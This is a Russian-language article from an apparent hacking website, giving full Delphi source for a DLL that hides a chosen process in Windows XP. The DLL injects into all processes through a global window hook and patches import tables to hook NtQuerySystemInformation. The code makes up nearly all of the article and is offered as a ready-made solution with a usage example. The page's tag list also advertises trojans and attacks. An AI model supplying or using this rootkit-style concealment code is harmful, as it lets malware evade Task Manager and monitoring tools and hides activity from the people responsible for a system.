Пятница, 17.05.2024, 13:24
Приветствую Вас Гость | RSS
Главная | Каталог статей | Регистрация | Вход
HackUtill
Форма входа

IP Lookup

Меню сайта

Категории раздела
Исходники [2]
Интересные варианты решения задач [0]
Советы [0]
Книги [0]

Облако тэгов
криптографическая защита статьи про криптографию ФАПСИ ЦРУ книга Крис Касперски скачать бесплатно +без регистрации Социальная инженерия Искусство обмана Кевин Митник Delphi советы мобильный телефон Хакинг дизассемблирование Скачать css html тэги книга о html тегах теги assembler программа для Windows скачать + бесплатно склеить файлы троян ICQ массовая рассылка рассылка по ICQ скачать бесплатно программу рассылк скачать программу icq bot SQL Helper sql injection google Pwn2Own взлом Chrome конкурс хакеров Anonimous SOPA арест интерпол кибер-атака Attack dns hack отключить интернет .htaccess 80 порт apache httpd.conf Windows 2003 защита Защита Windows 2003 DDoS ddos атака защита от атак защита сервера TOR безопасность решение суда

Наш опрос
Оцените мой сайт
Всего ответов: 28

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Друзья сайта
  • Все для веб-мастера
  • Программы для всех
  • Мир развлечений
  • Лучшие сайты Рунета
  • Кулинарные рецепты

  • Главная » Статьи » Программирование Delphi » Исходники

    Скрытие процесса в XP

    Скрытие процесса в XP


    Этот вопрос меня уже достал, он задаётся на всех программистских форумах, поэтому я выкладываю solution. Листинг библиотеки (nthide.dll), которая будет выполнять нужную нам функцию:


    library hide;

    uses
    Windows,
    SysUtils,
    ImageHlp,
    TlHelp32;

    type SYSTEM_INFORMATION_CLASS = (
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemNotImplemented1,
    SystemProcessesAndThreadsInformation,
    SystemCallCounts,
    SystemConfigurationInformation,
    SystemProcessorTimes,
    SystemGlobalFlag,
    SystemNotImplemented2,
    SystemModuleInformation,
    SystemLockInformation,
    SystemNotImplemented3,
    SystemNotImplemented4,
    SystemNotImplemented5,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPagefileInformation,
    SystemInstructionEmulationCounts,
    SystemInvalidInfoClass1,
    SystemCacheInformation,
    SystemPoolTagInformation,
    SystemProcessorStatistics,
    SystemDpcInformation,
    SystemNotImplemented6,
    SystemLoadImage,
    SystemUnloadImage,
    SystemTimeAdjustment,
    SystemNotImplemented7,
    SystemNotImplemented8,
    SystemNotImplemented9,
    SystemCrashDumpInformation,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegistryQuotaInformation,
    SystemLoadAndCallImage,
    SystemPrioritySeparation,
    SystemNotImplemented10,
    SystemNotImplemented11,
    SystemInvalidInfoClass2,
    SystemInvalidInfoClass3,
    SystemTimeZoneInformation,
    SystemLookasideInformation,
    SystemSetTimeSlipEvent,
    SystemCreateSession,
    SystemDeleteSession,
    SystemInvalidInfoClass4,
    SystemRangeStartInformation,
    SystemVerifierInformation,
    SystemAddVerifier,
    SystemSessionProcessesInformation
    );

    _IMAGE_IMPORT_DESCRIPTOR = packed record
    case Integer of
    0:(
    Characteristics: DWORD);
    1:(
    OriginalFirstThunk:DWORD;
    TimeDateStamp:DWORD;
    ForwarderChain: DWORD;
    Name: DWORD;
    FirstThunk: DWORD);
    end;
    IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
    PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;

    PFARPROC=^FARPROC;

    procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
    var ulSize: ULONG;
    pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
    pszModName: PChar;
    pThunk: PDWORD; ppfn:PFARPROC;
    ffound: LongBool;
    written: DWORD;
    begin
    pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
    if pImportDesc = nil then exit;
    while pImportDesc.Name0 do
    begin
    pszModName := PChar(hmodCaller + pImportDesc.Name);
    if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
    Inc(pImportDesc);
    end;
    if (pImportDesc.Name = 0) then exit;
    pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
    while pThunk^0 do
    begin
    ppfn := PFARPROC(pThunk);
    fFound := (ppfn^ = pfnCurrent);
    if (fFound) then
    begin
    VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
    WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
    exit;
    end;
    Inc(pThunk);
    end;
    end;

    var
    addr_NtQuerySystemInformation: Pointer;
    mypid: DWORD;
    fname: PCHAR;
    mapaddr: PDWORD;
    hideOnlyTaskMan: PBOOL;

    function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
    SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
    label onceagain, getnextpidstruct, quit, fillzero;
    asm
    push ReturnLength
    push SystemInformationLength
    push SystemInformation
    push dword ptr SystemInformationClass
    call dword ptr [addr_NtQuerySystemInformation]
    or eax,eax
    jl quit
    cmp SystemInformationClass, SystemProcessesAndThreadsInformation
    jne quit

    onceagain:
    mov esi, SystemInformation

    getnextpidstruct:
    mov ebx, esi
    cmp dword ptr [esi],0
    je quit
    add esi, [esi]
    mov ecx, [esi+44h]
    cmp ecx, mypid
    jne getnextpidstruct
    mov edx, [esi]
    test edx, edx
    je fillzero
    add [ebx], edx
    jmp onceagain

    fillzero:
    and [ebx], edx
    jmp onceagain

    quit:
    mov Result, eax
    end

    procedure InterceptFunctions;
    var hSnapShot: THandle;
    me32: MODULEENTRY32;
    begin
    addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
    hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
    if hSnapshot=INVALID_HANDLE_VALUE then exit;
    try
    ZeroMemory(@me32,sizeof(MODULEENTRY32));
    me32.dwSize:=sizeof(MODULEENTRY32);
    Module32First(hSnapShot,me32);
    repeat
    ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
    until not Module32Next(hSnapShot,me32);
    finally
    CloseHandle(hSnapShot);
    end;
    end;

    procedure UninterceptFunctions;
    var hSnapShot: THandle;
    me32: MODULEENTRY32;
    begin
    addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
    hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
    if hSnapshot=INVALID_HANDLE_VALUE then exit;
    try
    ZeroMemory(@me32,sizeof(MODULEENTRY32));
    me32.dwSize:=sizeof(MODULEENTRY32);
    Module32First(hSnapShot,me32);
    repeat
    ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
    until not Module32Next(hSnapShot,me32);
    finally
    CloseHandle(hSnapShot);
    end;
    end;


    var HookHandle: THandle;

    function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
    begin
    Result:=0;
    end;

    procedure InstallHook; stdcall;
    begin
    HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
    end;

    var hFirstMapHandle:THandle;

    function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
    var addrMap: PDWORD;
    ptr2: PBOOL;
    begin
    mypid:=0;
    result:=false;
    hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
    if hFirstMapHandle=0 then exit;
    addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
    if addrMap=nil then
    begin
    CloseHandle(hFirstMapHandle);
    exit;
    end;
    addrMap^:=pid;
    ptr2:=PBOOL(DWORD(addrMap)+4);
    ptr2^:=HideOnlyFromTaskManager;
    UnmapViewOfFile(addrMap);
    InstallHook;
    result:=true;
    end;

    exports
    HideProcess;

    var
    hmap: THandle;

    procedure LibraryProc(Reason: Integer);
    begin
    if Reason = DLL_PROCESS_DETACH then
    if mypid > 0 then
    UninterceptFunctions()
    else
    CloseHandle(hFirstMapHandle);
    end;

    begin
    hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
    if hmap=0 then exit;
    try
    mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
    if mapaddr=nil then exit;
    mypid:=mapaddr^;
    hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
    if hideOnlyTaskMan^ then
    begin
    fname:=allocMem(MAX_PATH+1);
    GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
    if not (ExtractFileName(fname)='taskmgr.exe') then exit;
    end;
    InterceptFunctions;
    finally
    UnmapViewOfFile(mapaddr);
    CloseHandle(Hmap);
    DLLProc:=@LibraryProc;
    end;
    end.

    Для её использования нужно вызвать функцию HideProcess:

    function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL,

    где
    pid - идентификатор процесса, который нужно спрятать

    HideOnlyFromTaskManager - нужно ли прятать процесс только от TaskManager'а, или же от остальных программ, использующих для получения списка процессов функцию NtQuerySystemInformation из ntdll.dll.

    Пример использования:

    function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall; external 'nthide.dll';

    procedure proc;
    begin
    HideProcess(GetCurrentProcessId, false); //это спрячет текущий процесс
    end;
    Категория: Исходники | Добавил: Sir_J (15.07.2010)
    Просмотров: 1730 | Комментарии: 1 | Рейтинг: 0.0/0
    Всего комментариев: 0
    Имя *:
    Email *:
    Код *:

    Copyright MyCorp ©2010 - 2024
    Сделать бесплатный сайт с uCoz